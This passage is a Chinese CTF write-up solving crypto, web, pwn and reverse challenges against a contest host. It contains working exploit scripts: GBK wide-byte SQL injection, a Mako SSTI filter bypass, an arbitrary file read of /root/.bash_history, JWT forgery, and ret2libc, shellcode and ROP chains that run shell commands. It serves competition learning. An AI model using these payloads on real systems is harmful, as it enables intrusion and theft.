[TOC]
crypto lit_aes_fixed_prefix AES-128 的 16 字节密钥里,已知前 13 字节,仅剩 3 字节未知。密钥空间只有 2^24,可直接离线爆破,结合 litctf{ 前缀与 PKCS#7 padding 约束快速筛出 flag。
Step 1: 爆破 24 bit 未知后缀
题目代码里:
KEY_PREFIX = b"LitCTF2026!!!"
key = KEY_PREFIX + UNKNOWN_KEY_SUFFIX
len(UNKNOWN_KEY_SUFFIX) = 3
因此总密钥空间仅有 16777216 种。直接枚举后缀,解密后验证:
明文满足合法 PKCS#7 padding
明文以 litctf{ 开头、以 } 结尾
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from Cryptodome.Cipher import AES C = b"\x0c\xdb'`\xc91\xf7\x05\x91+\x0fM\xed\xbc\x9b\xf1\xd8D\xcd\xfd\x0c\xb9\xb6\xb2J<\x86\x19\x06K\xb3\xa2\xa4\x18\x87<v\xac\x1bbu#\xaa\xb5I\x7f\xd8\xd3" PREFIX = b"LitCTF2026!!!" BLOCK = 16 def unpad_pkcs7(data: bytes): pad = data[-1] if pad < 1 or pad > BLOCK: return None if data[-pad:] != bytes([pad]) * pad: return None return data[:-pad] for i in range(1 << 24): key = PREFIX + i.to_bytes(3, "big") pt = AES.new(key, AES.MODE_ECB).decrypt(C) msg = unpad_pkcs7(pt) if not msg: continue if msg.startswith(b"litctf{") and msg.endswith(b"}"): print(key) print(msg.decode()) break
运行输出:
1 2 b'LitCTF2026!!!7\xa2\x01' litctf{aes_tiny_brut3_for_the_win!}
flag:
1 litctf{aes_tiny_brut3_for_the_win!}
lit_elgamal_handshake 服务端把 ElGamal 私钥 x 打进了调试日志。已知 x 后可直接恢复共享因子 y^k,再对 c2 解密得到 flag。
Step 1: 用泄露私钥直接解密 ElGamal
ElGamal 参数满足:
c1 = g^k mod p
c2 = m * y^k mod p
y = g^x mod p
因此:
s = c1^x mod p = y^k
m = c2 * s^{-1} mod p
1 2 3 4 5 6 7 8 9 10 11 12 13 p = 9000784855376359808051354825193962042770028561343848432778443672755982397391267124312572697249531643069409873722736348916207732622884411596948807031140651 c1 = 5245857426274383693193378669425243235151460522527004924092730024427525619244222247576829782077334810173274945751493387545849499010408499951268967774043627 c2 = 6059939492718262451327758167005534191200936922719178843825888167191062504030471358635203794720371216217447404436172970111033824674731063386612549785069654 x = 633366293219022684108628483753423657477324253833657141033762971761747669344649667887002347907882241246119223126492863291886751205505360049793728851371884 s = pow(c1, x, p) m = (c2 * pow(s, -1, p)) % p h = hex(m)[2:] if len(h) % 2: h = "0" + h print(bytes.fromhex(h).decode())
运行输出:
1 litctf{elgamal_leak_makes_happy_decrypt}
flag:
1 litctf{elgamal_leak_makes_happy_decrypt}
lit_rsa_neighbor 题目让 q 从 p 连续调用多次 next_prime 得到,导致两个素数仍然很接近。这样可以直接使用费马分解分解 n,再正常恢复私钥解密 flag。
Step 1: 对接近的 RSA 素数做费马分解
费马分解基于:
n = p * q = a^2 - b^2 = (a-b)(a+b)
p = a - b
q = a + b
当 p 和 q 足够接近时,从 a = ceil(sqrt(n)) 开始枚举会非常快。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from math import isqrtn = 139637440016232025690294457609899605991056011052010466558411851317943636600860419882966079629826706361935550982744312593243181819999590825159611186779613601241742349986440676188542381451066058816661317621009248513651083772907520139375108426466691332559612971244160246310746215067136490772061317571744230078911 c = 81172369642931859390486697024961350889751244109623802937988620847486863147682579984823958801948701482096140632580173113959531836503723522945335985723867818778699337807630592078265626995722998378992215523352858561923474395550395284015986525513984910021995657780411466237306614109262460764382539311725297619429 e = 65537 a = isqrt(n) if a * a < n: a += 1 while True : b2 = a * a - n b = isqrt(b2) if b * b == b2: p = a - b q = a + b break a += 1 phi = (p - 1 ) * (q - 1 ) d = pow (e, -1 , phi) m = pow (c, d, n) h = hex (m)[2 :] if len (h) % 2 : h = "0" + h print (bytes .fromhex(h).decode())
运行输出:
1 litctf{rsa_fermat_finds_close_primes}
flag:
1 litctf{rsa_fermat_finds_close_primes}
lit_xor_two_story 两条 40 字节明文使用同一串异或密钥流加密,且其中一条明文公开。直接利用 m1 = c1 ^ c2 ^ m2 即可恢复 flag。
Step 1: 利用密钥流复用消去 k
题目脚本中:
c1 = M1_FLAG ^ k
c2 = M2_KNOWN ^ k
两式异或后,k 会被消去:
c1 ^ c2 = M1_FLAG ^ M2_KNOWN
M1_FLAG = c1 ^ c2 ^ M2_KNOWN
1 2 3 4 5 6 c1 = bytes .fromhex("5f70a847ce12759e156e3cad1aa9530a119386a02ffc1c31bf14ab7a0a82ccc108f8476f75c98a28" ) c2 = bytes .fromhex("5f70a847ce123cc153283ca710ae7f042b8490a238eb2228970fad6a2694f2985dc5557e69e5f474" ) m2 = b"litctf2026_xor_keystream_reuse_40bytes!!" m1 = bytes (a ^ b ^ c for a, b, c in zip (c1, c2, m2)) print (m1.decode())
运行输出:
1 litctf{otp_reuse_never_twice_same_key__}
flag:
1 litctf{otp_reuse_never_twice_same_key__}
web lit_ezsql 题目提供了一个 /query?id= 查询页面,页面根据 id 查询用户信息。后端虽然对单引号做了反斜杠转义,但数据库连接存在 MySQL/MariaDB GBK 宽字节注入问题,可以通过 %df%27 吞掉转义反斜杠,从而闭合字符串并进行联合查询,最终读取 flag_store 表中的 flag。
Step 1: 确认输入点和 SQL 结构
首页只有一个 id 输入框,请求路径如下:
查询 id=1 时返回用户 alice。继续尝试添加 debug=1,页面会泄露后端实际执行的 SQL:
1 SELECT `id`,`name`,`col2`,`col3`,`col4` FROM `ezsql`.`users` WHERE id= '1' LIMIT 50
说明 id 被拼接进了单引号包裹的字符串中。普通单引号会被转义,因此需要想办法绕过。
Step 2: 使用 GBK 宽字节注入绕过转义并读取 flag
测试 %df%27 后,发现可以成功闭合字符串并注入 SQL。原因是后端转义后会变成类似 %df\',其中 \ 的字节为 0x5c,%df 与 0x5c 在 GBK 编码下会组成一个合法宽字节字符,导致反斜杠不再作为转义符生效,后面的 ' 就变成真正的字符串闭合符。
最终 payload:
1 0 % df' union select 1,group_concat(flag),3,4,5 from flag_store--
完整复现命令:
1 curl "http://challenge.cyclens.tech:30741/query?id=0%25df%27%20union%20select%201,group_concat(flag),3,4,5%20from%20flag_store--%20"
完整 Python solve 脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import reimport htmlimport requestsBASE = "http://challenge.cyclens.tech:30741/query" payload = "0%df' union select 1,group_concat(flag),3,4,5 from flag_store-- " resp = requests.get(BASE, params={"id" : payload}, timeout=10 ) resp.raise_for_status() cells = [html.unescape(x) for x in re.findall(r"<td>(.*?)</td>" , resp.text, re.S)] for cell in cells: if cell.startswith("flag{" ): print (cell) break else : raise SystemExit("flag not found" )
运行输出:
1 flag{he5k3aoy-itna-4yv-8tyz-2nnitgojblvd8}
flag:
1 flag{he5k3aoy-itna-4yv-8tyz-2nnitgojblvd8}
lit_ezssti 题目是一个模板渲染页面,前端提示看起来像 Jinja2 SSTI,但实际后端使用的是 Mako。输入中的 ${...}、flag、.read、== 等高特征片段会被 WAF 拦截,因此最终利用方式是走 Mako 控制行 % if ...:,再用 chr() 动态拼接 /flag,最后通过 int(...) 触发异常回显拿到 flag。
Step 1: 确认模板引擎和可执行语法
直接测试 Jinja2 常见载荷如 {{7*7}} 不会执行,但提交 % 开头的错误输入会出现:
1 CompileException: Fragment '2b' is not a partial control statement
这个报错特征对应 Mako。进一步测试真实多行 payload:
1 2 3 4 5 % if True: YES % else: NO % endif
页面会返回 YES,说明 Mako 控制行可以执行,只是 ${...} 一类输出语法会被 WAF 拦截。
Step 2: 绕过 WAF 并读出 /flag
因为字符串里直接出现 flag 会被拦截,所以不能直接写 /flag。这里改用 chr() 动态拼接路径,并通过 int(next(open(...))) 强制触发异常,异常消息里会直接带出 /flag 第一行,也就是 flag。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import htmlimport reimport requestsURL = "http://challenge.cyclens.tech:31581/" flag_path = "chr(47)+chr(102)+chr(108)+chr(97)+chr(103)" payload = ( "% if int(next(open(" + flag_path + "))):\n" "YES\n" "% else:\n" "NO\n" "% endif" ) resp = requests.post(URL, data={"tpl" : payload}, timeout=10 ) resp.raise_for_status() match = re.search(r'<pre id="out">(.*?)</pre>' , resp.text, re.S)if not match : raise SystemExit("failed to locate output block" ) out = html.unescape(match .group(1 )).strip() print (out)flag_match = re.search(r"(flag\{[^'\n]+\})" , out) if not flag_match: raise SystemExit("flag not found in response" ) print (flag_match.group(1 ))
运行输出:
1 2 [渲染异常] ValueError: invalid literal for int() with base 10: 'flag{hfhp1bkc-jhiq-4ro-8hjg-u6u9akqjfvv0w}' flag{hfhp1bkc-jhiq-4ro-8hjg-u6u9akqjfvv0w}
flag:
1 flag{hfhp1bkc-jhiq-4ro-8hjg-u6u9akqjfvv0w}
华辰企业服务运营平台 这题的核心是 Spring Boot Actuator 暴露 。目标站点把 /actuator/env、/actuator/mappings、/actuator/beans 等运维接口完整开放,导致内部路由、Shiro 配置、环境变量和 flag 相关配置全部可读,最终可以直接从环境变量里还原完整 flag。
Step 1: 枚举站点暴露面并确认 Actuator 泄露
先访问首页和常见路径,可以看到是一个 Java/Spring 风格的企业服务平台,登录页前端调用 /api/auth/login。继续探测常见运维端点时,发现多个 Actuator 接口未授权开放:
1 2 3 4 5 curl -i -sS http://challenge.cyclens.tech:31572/actuator curl -i -sS http://challenge.cyclens.tech:31572/actuator/health curl -i -sS http://challenge.cyclens.tech:31572/actuator/env curl -i -sS http://challenge.cyclens.tech:31572/actuator/mappings curl -i -sS http://challenge.cyclens.tech:31572/actuator/beans
/actuator/mappings 里可以直接看到站点内部控制器和隐藏接口,例如:
1 2 3 4 5 /api/admin/system/export /api/admin/audit/list /api/admin/ops/reports /api/admin/system/summary /api/internal/feature-flags
同时还能确认站点使用了 Apache Shiro 作为鉴权框架。
Step 2: 从 /actuator/env 读取敏感配置并恢复 flag
/actuator/env 开启了 show-values=always,所以环境变量和值会直接返回。对完整输出做关键字筛选后,可以发现多个敏感项:
1 2 3 4 FLAG LAB_FLAG_PART2 LAB_SHIRO_KEY_B64 LAB_SHIRO_ALG_MODE
其中直接读取 FLAG 就能拿到完整 flag,LAB_FLAG_PART2 和 LAB_SHIRO_KEY_B64 说明题目原本还埋了 Shiro / 分段 flag 的辅助线索,但由于运维接口全开,已经可以一步到位。
下面是一份从目标站点直接提取 flag 的完整脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import jsonimport requestsURL = "http://challenge.cyclens.tech:31572/actuator/env/FLAG" resp = requests.get(URL, timeout=10 ) resp.raise_for_status() data = resp.json() flag = data.get("property" , {}).get("value" ) if not flag: raise SystemExit("[-] FLAG value not found" ) print ("[+] raw json:" )print (json.dumps(data, ensure_ascii=False , indent=2 ))print ("[+] flag:" , flag)
运行输出:
1 2 3 4 5 6 7 8 9 10 11 12 [+] raw json: { "property": { "source": "systemEnvironment", "value": "flag{q5iljba5-wmdk-4mp-850s-hyijywnm1lbt9}" }, "activeProfiles": [], "propertySources": [ ... ] } [+] flag: flag{q5iljba5-wmdk-4mp-850s-hyijywnm1lbt9}
如果想进一步验证题目的辅助线索,也可以读取完整 env:
1 curl -sS http://challenge.cyclens.tech:31572/actuator/env | grep -E 'FLAG|SHIRO'
能看到:
1 2 3 4 FLAG=flag{q5iljba5-wmdk-4mp-850s-hyijywnm1lbt9} LAB_FLAG_PART2=p-850s-hyijywnm1lbt9} LAB_SHIRO_KEY_B64=R1pDVEZTaGlyb0dDTUtleQ== LAB_SHIRO_ALG_MODE=GCM
flag:
1 flag{q5iljba5-wmdk-4mp-850s-hyijywnm1lbt9}
Northbridge Document Hub 题目给了一个研究员账号入口,并提示站点接入了 kkFileView 兼容预览网关,目标是从解析缓存里找本季度财务归档中的 flag。核心漏洞是 /kkfileview/getCorsFile 存在任意本地文件读取,且 urlPath 需要传 Base64;利用本地文件读取先读取 /root/.bash_history,再拿到缓存中的真实 ZIP 文件名并直接取出 flag.txt。
Step 1: 获取研究员账号并验证 kkFileView 本地文件读取
登录页脚本 /assets/js/portal.js 暴露了研究员账号:researcher:Research#2026。登录后再看网关实现,可以发现 /kkfileview/getCorsFile 会对 urlPath 做 Base64 解码,然后把结果解析成路径;如果不是 /opt/kkfileview/cache/ 下的路径,就会拼到 /opt/kkfileview/cache/parsed/ 下面。传入 file:// 绝对路径时,Paths.resolve() 会保留绝对路径,因此可以直接读取容器内任意文件,例如 /etc/passwd 与 /proc/self/cmdline。
Step 2: 从 shell 历史中拿到真实缓存文件名并提取 flag
读取 /root/.bash_history 后可以看到:
1 cp /opt/kkfileview/cache/parsed/q1_finance_report_2026.zip /tmp/q1_finance_report_2026.zip
这说明目标财务归档已经被解析缓存为 /opt/kkfileview/cache/parsed/q1_finance_report_2026.zip。直接下载该 ZIP,本地解压后即可得到 flag.txt。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 import base64import ioimport reimport zipfileimport requestsBASE = "http://challenge.cyclens.tech:30594" USERNAME = "researcher" PASSWORD = "Research#2026" def b64_path (path: str ) -> str : return base64.b64encode(path.encode()).decode() def fetch_local (session: requests.Session, local_path: str ) -> bytes : target = f"file://{local_path} " r = session.get(f"{BASE} /kkfileview/getCorsFile" , params={"urlPath" : b64_path(target)}, timeout=10 ) r.raise_for_status() return r.content def main () -> None : s = requests.Session() s.get(f"{BASE} /login" , timeout=10 ) r = s.post( f"{BASE} /login" , data={"username" : USERNAME, "password" : PASSWORD}, allow_redirects=False , timeout=10 , ) if r.status_code != 302 : raise RuntimeError("login failed" ) hist = fetch_local(s, "/root/.bash_history" ).decode("utf-8" , "ignore" ) m = re.search(r"cp\s+(/opt/kkfileview/cache/parsed/[^\s]+)" , hist) if not m: raise RuntimeError("cache artifact path not found in history" ) zip_path = m.group(1 ) blob = fetch_local(s, zip_path) zf = zipfile.ZipFile(io.BytesIO(blob)) flag = zf.read("flag.txt" ).decode().strip() print (flag) if __name__ == "__main__" : main()
运行输出:
1 flag{o5yysqlt-2u50-4ye-8thr-z68ixx0eotatd}
flag:
1 flag{o5yysqlt-2u50-4ye-8thr-z68ixx0eotatd}
lit_reverse_my_web 题目给了一个在线 Web 服务和一份 Windows Go 附件。核心点是逆向附件里的 JWT 密钥生成逻辑,恢复 HS256 密钥后伪造 role=admin 的 token,访问 /flag 即可拿到 flag。
Step 1: 逆向附件,恢复 JWT 密钥
在线功能很少,注册和登录都正常,但即使把用户名注册成 admin,登录后拿到的 JWT 里依然是 role=user,访问 /flag 返回 403。
继续逆向附件中的 Go 可执行文件,可以看到:
/flag 走 JWT 鉴权
签名算法固定为 HS256
jwtsecret.Key 在程序启动时初始化
初始化逻辑是把一段 32 字节密文逐字节异或 0x5A
密文字节为:
1 2 28 17 2d 05 68 6a 68 6c 05 36 33 2e 39 2e 3c 05 30 2d 2e 05 29 3f 39 28 3f 2e 05 31 3f 23 7b 7b
异或后得到 JWT HMAC 密钥:
1 rMw_2026_litctf_jwt_secret_key!!
Step 2: 伪造管理员 token 并取 flag
/flag 实际要求 token 中满足管理员条件,因此直接伪造:
alg=HS256
iss=reverseMyWeb
sub=admin
role=admin
下面脚本从附件中自动提取密文、恢复密钥、签发管理员 token,并请求远端 /flag:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 import base64import hashlibimport hmacimport jsonimport structimport subprocessimport timeimport urllib.requestimport zipfilefrom pathlib import Pathzip_path = Path("LitCTF2026-web-lit_reverseMyWeb_clean.zip" ) extract_dir = Path("/tmp/lit_reverse_my_web_wp" ) target = "http://challenge.cyclens.tech:30312/flag" extract_dir.mkdir(parents=True , exist_ok=True ) with zipfile.ZipFile(zip_path, "r" ) as zf: zf.extractall(extract_dir) exe_path = extract_dir / "server.exe" cmd = [ "objdump" , "-s" , "-j" , ".data" , "--start-address=0x00f0e6e0" , "--stop-address=0x00f0e700" , str (exe_path), ] dump = subprocess.check_output(cmd, text=True , errors="ignore" ) hex_bytes = [] for line in dump.splitlines(): line = line.strip() if not line.startswith("f0e6" ): continue parts = line.split() for chunk in parts[1 :5 ]: for i in range (0 , len (chunk), 2 ): hex_bytes.append(int (chunk[i:i+2 ], 16 )) enc = bytes (hex_bytes[:32 ]) key = bytes (b ^ 0x5A for b in enc) print ("jwt key:" , key.decode())def b64url (data: bytes ) -> bytes : return base64.urlsafe_b64encode(data).rstrip(b"=" ) header = {"alg" : "HS256" , "typ" : "JWT" } now = int (time.time()) payload = { "role" : "admin" , "iss" : "reverseMyWeb" , "sub" : "admin" , "exp" : now + 86400 , "iat" : now, } msg = b64url(json.dumps(header, separators=("," , ":" )).encode()) msg += b"." msg += b64url(json.dumps(payload, separators=("," , ":" )).encode()) sig = b64url(hmac.new(key, msg, hashlib.sha256).digest()) token = (msg + b"." + sig).decode() print ("token:" , token)req = urllib.request.Request(target) req.add_header("Cookie" , f"token={token} " ) with urllib.request.urlopen(req, timeout=10 ) as resp: flag = resp.read().decode().strip() print (flag)
运行后输出:
1 2 jwt key: rMw_2026_litctf_jwt_secret_key!! flag{x9z191zx-haxy-4uv-8ksi-9kqsppmzha1mg}
flag:
1 flag{x9z191zx-haxy-4uv-8ksi-9kqsppmzha1mg}
pwn lit_ret2text32 这是最基础的 32 位 ret2win。程序里有明显的栈溢出和隐藏 backdoor(),直接覆盖返回地址跳过去即可。
Step 1: Find the hidden function and overwrite EIP
源码里 read(0, buf, 0x200) 会向 char buf[48] 写入超长数据。二进制 No PIE、No Canary,所以函数地址固定,直接 ret2text 即可。
backdoor() 地址为 0x08049213,buf -> EIP 的偏移是 60 字节。
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import *context.binary = elf = ELF('./ret2text32' , checksec=False ) context.log_level = 'error' io = remote('challenge.cyclens.tech' , 32369 ) io.recvuntil(b'Input: ' ) payload = b'A' * 60 + p32(elf.symbols['backdoor' ]) + p32(0xdeadbeef ) io.sendline(payload) io.sendline(b'cat /flag; cat /flag*; exit' ) print (io.recvrepeat(3 ).decode('latin-1' , errors='ignore' ))
flag:
1 flag{gaq6pez4-c41b-4k0-8thy-rn2scipp8ixo6}
lit_ret2libc 程序没有现成后门,但作者给了一个可直接解引用 GOT 的 leak_value(void **addr)。先用它稳定泄漏 printf 的真实 libc 地址,再第二阶段 ret2libc 调 system("/bin/sh") 即可。
Step 1: Leak one libc function with leak_value
第一阶段最稳定的格式是:
ret 做栈对齐
pop rdi; ret 传 printf@got
调 leak_value
跳到稳定复入点 0x401261
我在实战里识别出的远程 libc 偏移为:
printf = 0x606f0
system = 0x50d70
str_bin_sh = 0x1d8678
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 from pwn import *context.binary = elf = ELF('./ret2libc' , checksec=False ) context.log_level = 'error' ret = 0x40101a pop_rdi = elf.symbols['gadget_pop_rdi' ] leak_fn = elf.symbols['leak_value' ] reenter = 0x401261 PRINTF_OFF = 0x606f0 SYSTEM_OFF = 0x50d70 BINSH_OFF = 0x1d8678 io = remote('challenge.cyclens.tech' , 30171 ) io.recvuntil(b'Tell me your name: ' ) stage1 = flat( b'A' * 72 , ret, pop_rdi, elf.got['printf' ], leak_fn, reenter, ) io.send(stage1) io.recvuntil(b'Leak: ' ) leak_printf = int (io.recvline().strip(), 16 ) libc_base = leak_printf - PRINTF_OFF stage2 = flat( b'A' * 72 , ret, pop_rdi, libc_base + BINSH_OFF, libc_base + SYSTEM_OFF, ) io.recvuntil(b'Tell me your name: ' ) io.send(stage2) io.sendline(b'cat /flag; cat /flag*; exit' ) print (io.recvrepeat(4 ).decode('latin-1' , errors='ignore' ))
flag:
1 flag{ixy1r5si-dtri-416-8mwd-h1gv0pffgbrik}
lit_ret2shellcode 程序会泄漏栈上 buf 地址,且栈可执行。最直接的做法是把 shellcode 写进 buf,再把返回地址改成泄漏出的 buf 地址。
Step 1: Jump back to injected shellcode
题目是 64 位 ELF,Stack: Executable,所以不需要 ROP。源码直接打印 buf is at %p,这让我们无需猜测栈地址。
我没有走交互式 shell,而是直接生成 shellcraft.cat('/flag'),这样一次执行就能回显 flag,稳定性更高。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import *context.clear(arch='amd64' , os='linux' ) context.log_level = 'error' sc = asm(shellcraft.cat('/flag' )) io = remote('challenge.cyclens.tech' , 31663 ) io.recvuntil(b'buf is at ' ) buf = int (io.recvline().strip(), 16 ) io.recvuntil(b'Leave your mark on the stack: ' ) payload = sc + b'\x90' * (0x78 - len (sc)) + p64(buf) io.send(payload) print (io.recvrepeat(3 ).decode('latin-1' , errors='ignore' ))
flag:
1 flag{cknoa5bv-trua-47a-8tz2-wam1drzemdoqk}
lit_ret2syscall32 这是标准的 32 位 int 0x80 syscall ROP。程序没有 system(),但它给了 pop eax/ebx/ecx/edx、mov [edx], eax 和 int 0x80,所以直接手搓 execve("/bin//sh", 0, 0) 即可。
Step 1: Write /bin//sh into writable memory and trigger execve
先把 /bin、//sh、0x0 三个 dword 写到 .bss,然后设置:
eax = 11 (execve)
ebx = data_buf
ecx = 0
edx = 0
最后执行 int 0x80。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import *context.binary = elf = ELF('./ret2syscall32' , checksec=False ) context.log_level = 'error' bss = elf.symbols['data_buf' ] payload = flat( b'A' * 76 , elf.symbols['gadget_pop_edx' ], bss, elf.symbols['gadget_pop_eax' ], u32(b'/bin' ), elf.symbols['gadget_mov_edx_eax' ], elf.symbols['gadget_pop_edx' ], bss + 4 , elf.symbols['gadget_pop_eax' ], u32(b'//sh' ), elf.symbols['gadget_mov_edx_eax' ], elf.symbols['gadget_pop_edx' ], bss + 8 , elf.symbols['gadget_pop_eax' ], 0 , elf.symbols['gadget_mov_edx_eax' ], elf.symbols['gadget_pop_eax' ], 11 , elf.symbols['gadget_pop_ebx' ], bss, elf.symbols['gadget_pop_ecx_ebx' ], 0 , bss, elf.symbols['gadget_pop_edx' ], 0 , elf.symbols['gadget_int_0x80' ], ) io = remote('challenge.cyclens.tech' , 32735 ) io.recvuntil(b'Input: ' ) io.send(payload) io.sendline(b'cat /flag; cat /flag*; exit' ) print (io.recvrepeat(4 ).decode('latin-1' , errors='ignore' ))
flag:
1 flag{jqmhi08p-ewxs-4wf-8dsl-hoollfax4idvl}
lit_integer_overflow 核心点是 scanf("%d", &size) 读入负数后,被强转成 unsigned int 传给 read(),从而触发超长栈写入。利用时还要处理 scanf 与 read 混用带来的输入时序。
Step 1: Use -1 to bypass the size check
size = -1 时,read(0, buf, (unsigned int)size) 变成 read(..., 0xffffffff)。程序本身是 64 位、No PIE、No Canary,存在隐藏 backdoor(),所以可以直接 ret2win。
这题有两个细节:
不能把 -1 和溢出数据一次性发出去,否则会被 scanf 的缓冲行为干扰。
第二跳前要加一个 ret 保证 amd64 对齐。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import *context.binary = elf = ELF('./integer_overflow' , checksec=False ) context.log_level = 'error' ret = 0x40101a io = remote('challenge.cyclens.tech' , 31008 ) io.recvuntil(b'(0-63): ' ) io.sendline(b'-1' ) io.recvuntil(b'anyway...\n' ) payload = b'A' * 72 + p64(ret) + p64(elf.symbols['backdoor' ]) io.send(payload) io.sendline(b'cat /flag; cat /flag*; exit' ) print (io.recvrepeat(3 ).decode('latin-1' , errors='ignore' ))
flag:
1 flag{wduhn69d-yqrt-4kv-8hji-nrhvqd44fzggt}
lit_ropchain 题目已经把 pop rdi/rsi/rdx gadget 和 .bss 缓冲区准备好了。做法是先重进一次干净的 vuln,然后在第二轮 ROP 中调用 read(0, bss_buf, len("cat /flag\0")),再 system(bss_buf)。
Step 1: Re-enter a clean round, then call read and system
这个题最坑的地方不是 gadget,而是 64 位地址打包和远程第二轮复入点。稳定复入点是 0x401290,这样第二轮会重新正常调用 vuln()。
第二轮链的思路:
read(0, bss_buf, 10) 把 cat /flag\0 写到 .bss
system(bss_buf) 直接执行命令,避免再维护交互式 shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from pwn import *context.binary = elf = ELF('./ropchain' , checksec=False ) context.log_level = 'error' ret = 0x40101a reenter = 0x401290 cmd = b'cat /flag\x00' stage1 = flat( b'A' * 72 , reenter, ) stage2 = flat( b'A' * 72 , ret, elf.symbols['gadget_pop_rdi' ], 0 , elf.symbols['gadget_pop_rsi' ], elf.symbols['bss_buf' ], elf.symbols['gadget_pop_rdx' ], len (cmd), elf.plt['read' ], ret, elf.symbols['gadget_pop_rdi' ], elf.symbols['bss_buf' ], elf.plt['system' ], ) io = remote('challenge.cyclens.tech' , 30615 ) io.recvuntil(b'Input: ' ) io.send(stage1) io.recvuntil(b'Input: ' ) io.send(stage2) io.send(cmd) print (io.recvrepeat(4 ).decode('latin-1' , errors='ignore' ))
flag:
1 flag{ct1c9pmv-defl-445-8l5k-wnekgwxi5i7uh}
re lit_xor_chain 这是典型的逆向入门校验题。程序对输入逐字节执行 xor 再 add,然后与内存中的目标数组比较。直接从汇编读出常量并逆运算即可恢复 flag。
Step 1: Reverse the byte transform
main 里的关键逻辑如下:
输入长度必须为 0x1e = 30
每个字节执行 y = (x ^ 0x52) + 0x05
再与 .rdata 中的目标数组逐字节比较
所以逆运算是:
x = ((y - 0x05) & 0xff) ^ 0x52
1 2 3 4 5 6 7 expected = bytes .fromhex( "23 40 2b 16 0b 19 2e 25 3c 29 67 68 12 2f 42 25 " "12 2b 3f 3c 41 12 38 3b 3b 12 42 3e 78 34" ) flag = bytes ((((b - 0x05 ) & 0xFF ) ^ 0x52 ) for b in expected).decode() print (flag)
flag:
1 LitCTF{rev01_xor_then_add_ok!}
lit_b64_alphabet 题目并没有修改 Base64 的分组逻辑,只是把 64 个输出字符的字母表替换成了程序内置的一串置换。提取出自定义 alphabet 后,把目标字符串翻译回标准 Base64,再直接解码即可。
Step 1: Translate custom Base64 alphabet back to standard alphabet
静态查看 .rdata,可以直接拿到两段关键数据:
期望密文:zjA5lToj9PUAGn2O+v6TRPosgYWB6noyGjhBgjfwyl==
自定义 alphabet:2KuEphj84USZF67iloxzfYd+MrDgRG9yLwBnHAXcJq3eCN/s1bOQ5TvPa0tVkWmI
将自定义字母表逐字符映射回 RFC4648 标准 alphabet,再用普通 Base64 解码即可。
1 2 3 4 5 6 7 8 9 10 import base64cipher = "zjA5lToj9PUAGn2O+v6TRPosgYWB6noyGjhBgjfwyl==" alphabet = "2KuEphj84USZF67iloxzfYd+MrDgRG9yLwBnHAXcJq3eCN/s1bOQ5TvPa0tVkWmI" standard = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" trans = str .maketrans(alphabet, standard) std_b64 = cipher.translate(trans) flag = base64.b64decode(std_b64).decode() print (flag)
flag:
1 LitCTF{rev02_custom_b64_table!}
lit_tea_standard 程序先对输入做 PKCS#7 填充到 8 字节倍数,再按 8 字节块执行标准 TEA 32 轮。题目的关键是从汇编中的常量反推出 4 个 uint32 密钥,然后对内存密文直接解密。
Step 1: Recover TEA key and ciphertext
反汇编 main 后可以确认:
输入先按 PKCS#7 填充
填充后总长度必须为 0x20
对 4 个 8-byte block 执行标准 TEA 32 轮
密文保存在 .rdata 的 32 字节数组里
编译器把 +k[i] 优化成了 sub 常量,所以可以反推密钥:
k0 = 0xA11CEFAC
k1 = 0xB00B1E00
k2 = 0xCAFEBABE
k3 = 0xDEADBEEF
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import structcipher = bytes .fromhex( "edef21feb79b3cb0" "1e9372e2023e29bc" "36f70c922e5aae46" "44fa45251ae58c87" ) key = [0xA11CEFAC , 0xB00B1E00 , 0xCAFEBABE , 0xDEADBEEF ] def tea_dec_block (block, k ): v0, v1 = struct.unpack("<2I" , block) delta = 0x9E3779B9 total = 0xC6EF3720 for _ in range (32 ): v1 = (v1 - ((((v0 << 4 ) + k[2 ]) ^ (v0 + total) ^ ((v0 >> 5 ) + k[3 ])))) & 0xFFFFFFFF v0 = (v0 - ((((v1 << 4 ) + k[0 ]) ^ (v1 + total) ^ ((v1 >> 5 ) + k[1 ])))) & 0xFFFFFFFF total = (total - delta) & 0xFFFFFFFF return struct.pack("<2I" , v0, v1) pt = b"" .join(tea_dec_block(cipher[i:i+8 ], key) for i in range (0 , len (cipher), 8 )) pad = pt[-1 ] flag = pt[:-pad].decode() print (flag)
flag:
1 LitCTF{rev03_tea_standard!!}
lit_xtea_tweak 程序整体结构是标准的“PKCS#7 填充 + 8 字节分组加密 + 内存密文比较”,但加密核心不是 TEA,而是 XTEA,且轮常数 delta 被改成了 0xDEADBEEF。如果直接套标准 XTEA 脚本,因 delta 不一致会解不出正确明文。
Step 1: Recover XTEA variant parameters and decrypt
汇编关键点:
填充后总长度必须为 0x20
4 个 8-byte block
key = [0x11111111, 0x22222222, 0x33333333, 0x44444444]
每轮通过 sub 0x21524111 更新 sum
因为:
